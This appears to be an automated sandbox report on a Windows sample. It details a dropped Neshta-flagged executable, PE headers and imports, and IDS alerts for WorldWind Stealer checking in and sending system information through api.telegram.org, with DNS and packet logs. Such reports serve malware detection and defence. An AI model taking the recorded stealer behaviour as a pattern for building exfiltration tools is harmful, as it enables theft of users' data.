Preview:	NAME: ejtNcqSEuTdorckkbQCOfgIMZlElCE..TITLE: New Tab - Google Chrome..PID: 3876..EXE: C:\Program Files (x86)\cjooJewgXUSnmhbPWlQfBfaPcodDZcvxYsznSPZcJWKdewHCWBhXrgJWpKtwgvNeZl\ejtNcqSEuTdorckkbQCOfgIMZlElCE.exe..NAME: ejtNcqSEuTdorckkbQCOfgIMZlElCE..TITLE: New Tab - Google Chrome..PID: 6024..EXE: C:\Program Files (x86)\cjooJewgXUSnmhbPWlQfBfaPcodDZcvxYsznSPZcJWKdewHCWBhXrgJWpKtwgvNeZl\ejtNcqSEuTdorckkbQCOfgIMZlElCE.exe..NAME: ejtNcqSEuTdorckkbQCOfgIMZlElCE..TITLE: New Tab - Google Chrome..PID: 4724..EXE: C:\Program Files (x86)\cjooJewgXUSnmhbPWlQfBfaPcodDZcvxYsznSPZcJWKdewHCWBhXrgJWpKtwgvNeZl\ejtNcqSEuTdorckkbQCOfgIMZlElCE.exe..NAME: ejtNcqSEuTdorckkbQCOfgIMZlElCE..TITLE: New Tab - Google Chrome..PID: 4292..EXE: C:\Program Files (x86)\cjooJewgXUSnmhbPWlQfBfaPcodDZcvxYsznSPZcJWKdewHCWBhXrgJWpKtwgvNeZl\ejtNcqSEuTdorckkbQCOfgIMZlElCE.exe..NAME: ejtNcqSEuTdorckkbQCOfgIMZlElCE..TITLE: New Tab - Google Chrome..PID: 6004..EXE: C:\Program Files (x86)\cjooJewgXUSnmhbPWlQfBfaPcodDZcvxYsznSPZcJWK

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\System\WorldWind.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	85780
Entropy (8bit):	7.849993751699014
Encrypted:	false
SSDEEP:	1536:CSTexaYplGx5EooYQD9pU/BKmzeneU6dTh5ezSd8JNGz6Cm2KAlkspuToFCwtRYA:lT4/GzEoox9paw8eeJt6Sd8JNGHsTICM
MD5:	BFF8E173A04EC8055F7DD1A7DE3F5994
SHA1:	6CBA8E69CD25CBAC399D49B3D4638B80E62B7CC2
SHA-256:	A410F9D522319D9591D95DA603DD38E8CBB6927CCE74FCACE2F3DB22362F2CD5
SHA-512:	37AF1AAECDB9C621BD9FBEE874EAF70F7729F7519879698D09D0B50D7CB30EBF03FEDC63533BA7FDB770A3FBC2FFDBD490979CE7A17628EF2C53FCE62E769342
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.z..p.....MR...%.f..r.....Uf.....?.2......S.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..<.t..A...#'..N>.._.u.......^y.[......1..].+..B....%?........r.....{f`.'(Xw...&e.......Q...8X.V..._.^.(..(...&(....~....[.....).....+.F"8x{I.t.p....pj.g.Ez..+..........O.Wz.......\..4;?...O.........QA..Z.DqCr.Y...L....V..\A.

C:\Windows\svchost.com

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.976684810818399
Encrypted:	false
SSDEEP:	768:eyxqjQl/EMQt4Oei7RwsHxyP7nbxzOQdJ:JxqjQ+P04wsmJC
MD5:	36FD5E09C417C767A952B4609D73A54B
SHA1:	299399C5A2403080A5BF67FB46FAEC210025B36D
SHA-256:	980BAC6C9AFE8EFC9C6FE459A5F77213B0D8524EB00DE82437288EB96138B9A2
SHA-512:	1813A6A5B47A9B2CD3958CF4556714AE240F2AA19D0A241B596830F0F2B89A33EC864D00CE6A791D323A58DFBFF42A0FDED65EEFBF980C92685E25C0EC415D92
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Windows\svchost.com, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Windows\svchost.com, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.113509894682803
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.29% Win32 Executable (generic) a (10002005/4) 49.25% Win32 Executable Borland Delphi 6 (262906/60) 1.29% Win32 Executable Delphi generic (14689/80) 0.07% Windows Screen Saver (13104/52) 0.06%
File name:	LisectAVT_2403002B_4.exe
File size:	215'552 bytes
MD5:	08adca5907849bca41a607e62864cd4a
SHA1:	7c7be1451cf7175923139990572470b3fceef9d7
SHA256:	0a8fe4d8b13e9cb811bf9985b89cb0a38ee2e594e705a0b366d80e55a3d6f5a4
SHA512:	00c121b25f04eba9471abfc8cdf9a63fa5fc6e991d5086cda53245315104831bcddc763d5fba6a9744bf4aaee0829484365ae2e8652c4b01639a798b981ec360
SSDEEP:	3072:sr85Cezj8mZw0YaeiJFqIPu/i9bVJ2cxO06+WpzIz+STW8djpN6x:k9K8mm0YmfXPSi9bDDy8XN6x
TLSH:	2E245B1437D85939E2FF8FB8F87002158B76B423A927E76F29D458ED2D62384D500BB6
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4080e4
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	9f4693fc0c511135129493f2161d1e86

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFE0h
xor eax, eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-1Ch], eax
mov dword ptr [ebp-14h], eax
mov eax, 00408054h
call 00007FD648AE6A07h
xor eax, eax
push ebp
push 00408220h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
mov eax, 004091A8h
mov ecx, 0000000Bh
mov edx, 0000000Bh
call 00007FD648AE9B51h
mov eax, 004091B4h
mov ecx, 00000009h
mov edx, 00000009h
call 00007FD648AE9B3Dh
mov eax, 004091C0h
mov ecx, 00000003h
mov edx, 00000003h
call 00007FD648AE9B29h
mov eax, 004091DCh
mov ecx, 00000003h
mov edx, 00000003h
call 00007FD648AE9B15h
mov eax, dword ptr [00409210h]
mov ecx, 0000000Bh
mov edx, 0000000Bh
call 00007FD648AE9B01h
call 00007FD648AE9B58h
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007FD648AE7442h
mov eax, dword ptr [ebp-14h]
call 00007FD648AE79D6h
cmp eax, 0000A200h
jle 00007FD648AEABF7h
call 00007FD648AEA0D6h
call 00007FD648AEA8E9h
mov eax, 004091C4h
mov ecx, 00000003h
mov edx, 00000003h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x15000	0x864	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19000	0x1400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x18000	0x5cc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x17000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x722c	0x7400	ca3464d4f08c9010e7ffa2fe3e890344	False	0.6173558728448276	data	6.511672174892103	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9000	0x218	0x400	7ffc3168a7f3103634abdf3a768ed128	False	0.3623046875	data	3.1516983405583385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xa000	0xa899	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x15000	0x864	0xa00	6e7a45521bfca94f1e506361f70e7261	False	0.37421875	data	4.173859768945439	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x16000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x17000	0x18	0x200	7e6c0f4f4435abc870eb550d5072bad6	False	0.05078125	data	0.2069200177871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x18000	0x5cc	0x600	16968c66d220638496d6b095f21de777	False	0.8483072916666666	data	6.443093465893509	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x19000	0x1400	0x1400	0bda792e1a4385a8c5dce49ce9bdec9e	False	0.1302734375	data	1.296744017426327	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x19150	0x10a8	data	Russian	Russia	0.006332082551594747
RT_RCDATA	0x1a1f8	0x10	data			1.5
RT_RCDATA	0x1a208	0xac	data			1.063953488372093
RT_GROUP_ICON	0x1a2b4	0x14	data	Russian	Russia	1.1

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, GetThreadLocale, GetStartupInfoA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, MessageBoxA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	WriteFile, WinExec, SetFilePointer, SetFileAttributesA, SetEndOfFile, SetCurrentDirectoryA, ReleaseMutex, ReadFile, GetWindowsDirectoryA, GetTempPathA, GetShortPathNameA, GetModuleFileNameA, GetLogicalDriveStringsA, GetLocalTime, GetLastError, GetFileSize, GetFileAttributesA, GetDriveTypeA, GetCommandLineA, FreeLibrary, FindNextFileA, FindFirstFileA, FindClose, DeleteFileA, CreateMutexA, CreateFileA, CreateDirectoryA, CloseHandle
gdi32.dll	StretchDIBits, SetDIBits, SelectObject, GetObjectA, GetDIBits, DeleteObject, DeleteDC, CreateSolidBrush, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt
user32.dll	ReleaseDC, GetSysColor, GetIconInfo, GetDC, FillRect, DestroyIcon, CopyImage, CharLowerBuffA
shell32.dll	ShellExecuteA, ExtractIconA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-25T13:04:07.749663+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49708	52.165.165.26	192.168.2.5
2024-07-25T13:04:06.535789+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49709	443	192.168.2.5	149.154.167.220
2024-07-25T13:04:10.270737+0200	TCP	2044557	ET MALWARE WorldWind Stealer Sending System information via Telegram (POST)	49716	443	192.168.2.5	149.154.167.220
2024-07-25T13:04:47.964247+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	63000	52.165.165.26	192.168.2.5
2024-07-25T13:04:05.433732+0200	TCP	2044766	ET MALWARE WorldWind Stealer Checkin via Telegram (GET)	49707	443	192.168.2.5	149.154.167.220

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 13:04:01.440924883 CEST	49705	80	192.168.2.5	104.16.185.241
Jul 25, 2024 13:04:01.447741985 CEST	80	49705	104.16.185.241	192.168.2.5
Jul 25, 2024 13:04:01.447807074 CEST	49705	80	192.168.2.5	104.16.185.241
Jul 25, 2024 13:04:01.448971987 CEST	49705	80	192.168.2.5	104.16.185.241
Jul 25, 2024 13:04:01.457672119 CEST	80	49705	104.16.185.241	192.168.2.5
Jul 25, 2024 13:04:01.948283911 CEST	80	49705	104.16.185.241	192.168.2.5
Jul 25, 2024 13:04:02.164714098 CEST	80	49705	104.16.185.241	192.168.2.5
Jul 25, 2024 13:04:02.166229963 CEST	49705	80	192.168.2.5	104.16.185.241
Jul 25, 2024 13:04:02.257668972 CEST	49706	443	192.168.2.5	172.67.196.114
Jul 25, 2024 13:04:02.257709980 CEST	443	49706	172.67.196.114	192.168.2.5
Jul 25, 2024 13:04:02.258152962 CEST	49706	443	192.168.2.5	172.67.196.114
Jul 25, 2024 13:04:02.389602900 CEST	49706	443	192.168.2.5	172.67.196.114
Jul 25, 2024 13:04:02.389635086 CEST	443	49706	172.67.196.114	192.168.2.5
Jul 25, 2024 13:04:03.171453953 CEST	443	49706	172.67.196.114	192.168.2.5
Jul 25, 2024 13:04:03.171523094 CEST	49706	443	192.168.2.5	172.67.196.114
Jul 25, 2024 13:04:03.174917936 CEST	49706	443	192.168.2.5	172.67.196.114
Jul 25, 2024 13:04:03.174932003 CEST	443	49706	172.67.196.114	192.168.2.5
Jul 25, 2024 13:04:03.175193071 CEST	443	49706	172.67.196.114	192.168.2.5
Jul 25, 2024 13:04:03.225745916 CEST	49706	443	192.168.2.5	172.67.196.114
Jul 25, 2024 13:04:03.272547007 CEST	443	49706	172.67.196.114	192.168.2.5
Jul 25, 2024 13:04:04.332834005 CEST	443	49706	172.67.196.114	192.168.2.5
Jul 25, 2024 13:04:04.332891941 CEST	443	49706	172.67.196.114	192.168.2.5
Jul 25, 2024 13:04:04.333154917 CEST	49706	443	192.168.2.5	172.67.196.114
Jul 25, 2024 13:04:04.354883909 CEST	49706	443	192.168.2.5	172.67.196.114
Jul 25, 2024 13:04:04.357872963 CEST	49705	80	192.168.2.5	104.16.185.241
Jul 25, 2024 13:04:04.363224030 CEST	80	49705	104.16.185.241	192.168.2.5
Jul 25, 2024 13:04:04.363292933 CEST	49705	80	192.168.2.5	104.16.185.241
Jul 25, 2024 13:04:04.367655039 CEST	49707	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:04.367743969 CEST	443	49707	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:04.367841005 CEST	49707	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:04.368160963 CEST	49707	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:04.368195057 CEST	443	49707	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:05.018421888 CEST	443	49707	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:05.018507957 CEST	49707	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:05.021261930 CEST	49707	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:05.021274090 CEST	443	49707	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:05.021521091 CEST	443	49707	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:05.022968054 CEST	49707	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:05.022995949 CEST	443	49707	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:05.433743000 CEST	443	49707	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:05.433768988 CEST	443	49707	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:05.433816910 CEST	49707	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:05.433824062 CEST	443	49707	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:05.433860064 CEST	49707	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:05.434412956 CEST	49707	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:05.450118065 CEST	49709	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:05.450154066 CEST	443	49709	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:05.450253010 CEST	49709	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:05.450546026 CEST	49709	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:05.450553894 CEST	443	49709	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:06.090831041 CEST	443	49709	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:06.092428923 CEST	49709	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:06.092499018 CEST	443	49709	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:06.535808086 CEST	443	49709	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:06.535876036 CEST	443	49709	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:06.536016941 CEST	49709	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:06.536509991 CEST	49709	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:06.645327091 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:06.645384073 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:06.645472050 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:06.649324894 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:06.649338961 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.517019987 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.519247055 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.519272089 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.837877035 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.844414949 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.844475985 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.844765902 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.844779015 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.847661972 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.847693920 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.847753048 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.847764015 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.848881960 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.848912954 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.849900961 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.849919081 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.849975109 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.849989891 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.850030899 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.850047112 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.850493908 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.850512028 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.850554943 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.850568056 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.850594044 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.850608110 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.850634098 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.850650072 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.850666046 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.850683928 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:07.850732088 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:07.850740910 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:09.296112061 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:09.296515942 CEST	443	49712	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:09.296648026 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:09.296926022 CEST	49712	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:09.298422098 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:09.298506975 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:09.298727989 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:09.299005032 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:09.299034119 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:09.942634106 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:09.956542015 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:09.956614017 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.265631914 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.266006947 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:10.266035080 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.269721031 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:10.269735098 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.269927979 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:10.269961119 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.270385027 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:10.270412922 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.270659924 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:10.270693064 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.271153927 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:10.271179914 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.271204948 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:10.271219969 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.271294117 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:10.271321058 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.271348953 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:10.271359921 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.271425962 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:10.271435976 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.752547026 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.752943039 CEST	443	49716	149.154.167.220	192.168.2.5
Jul 25, 2024 13:04:10.754163027 CEST	49716	443	192.168.2.5	149.154.167.220
Jul 25, 2024 13:04:10.756789923 CEST	49716	443	192.168.2.5	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 13:04:01.351810932 CEST	49761	53	192.168.2.5	1.1.1.1
Jul 25, 2024 13:04:01.361846924 CEST	53	49761	1.1.1.1	192.168.2.5
Jul 25, 2024 13:04:01.420934916 CEST	56615	53	192.168.2.5	1.1.1.1
Jul 25, 2024 13:04:01.431993008 CEST	53	56615	1.1.1.1	192.168.2.5
Jul 25, 2024 13:04:02.196502924 CEST	49185	53	192.168.2.5	1.1.1.1
Jul 25, 2024 13:04:02.223908901 CEST	53	49185	1.1.1.1	192.168.2.5
Jul 25, 2024 13:04:04.358326912 CEST	51361	53	192.168.2.5	1.1.1.1
Jul 25, 2024 13:04:04.366971016 CEST	53	51361	1.1.1.1	192.168.2.5
Jul 25, 2024 13:04:10.151710987 CEST	53	53024	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 25, 2024 13:04:01.351810932 CEST	192.168.2.5	1.1.1.1	0xa70d	Standard query (0)	220.240.8.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jul 25, 2024 13:04:01.420934916 CEST	192.168.2.5	1.1.1.1	0xa896	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:04:02.196502924 CEST	192.168.2.5	1.1.1.1	0x76cd	Standard query (0)	api.mylnikov.org	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:04:04.358326912 CEST	192.168.2.5	1.1.1.1	0xcb93	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 25, 2024 13:04:01.361846924 CEST	1.1.1.1	192.168.2.5	0xa70d	Name error (3)	220.240.8.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jul 25, 2024 13:04:01.431993008 CEST	1.1.1.1	192.168.2.5	0xa896	No error (0)	icanhazip.com		104.16.185.241	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:04:01.431993008 CEST	1.1.1.1	192.168.2.5	0xa896	No error (0)	icanhazip.com		104.16.184.241	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:04:02.223908901 CEST	1.1.1.1	192.168.2.5	0x76cd	No error (0)	api.mylnikov.org		172.67.196.114	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:04:02.223908901 CEST	1.1.1.1	192.168.2.5	0x76cd	No error (0)	api.mylnikov.org		104.21.44.66	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:04:04.366971016 CEST	1.1.1.1	192.168.2.5	0xcb93	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.mylnikov.org

api.telegram.org

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	104.16.185.241	80	5836	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 13:04:01.448971987 CEST	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
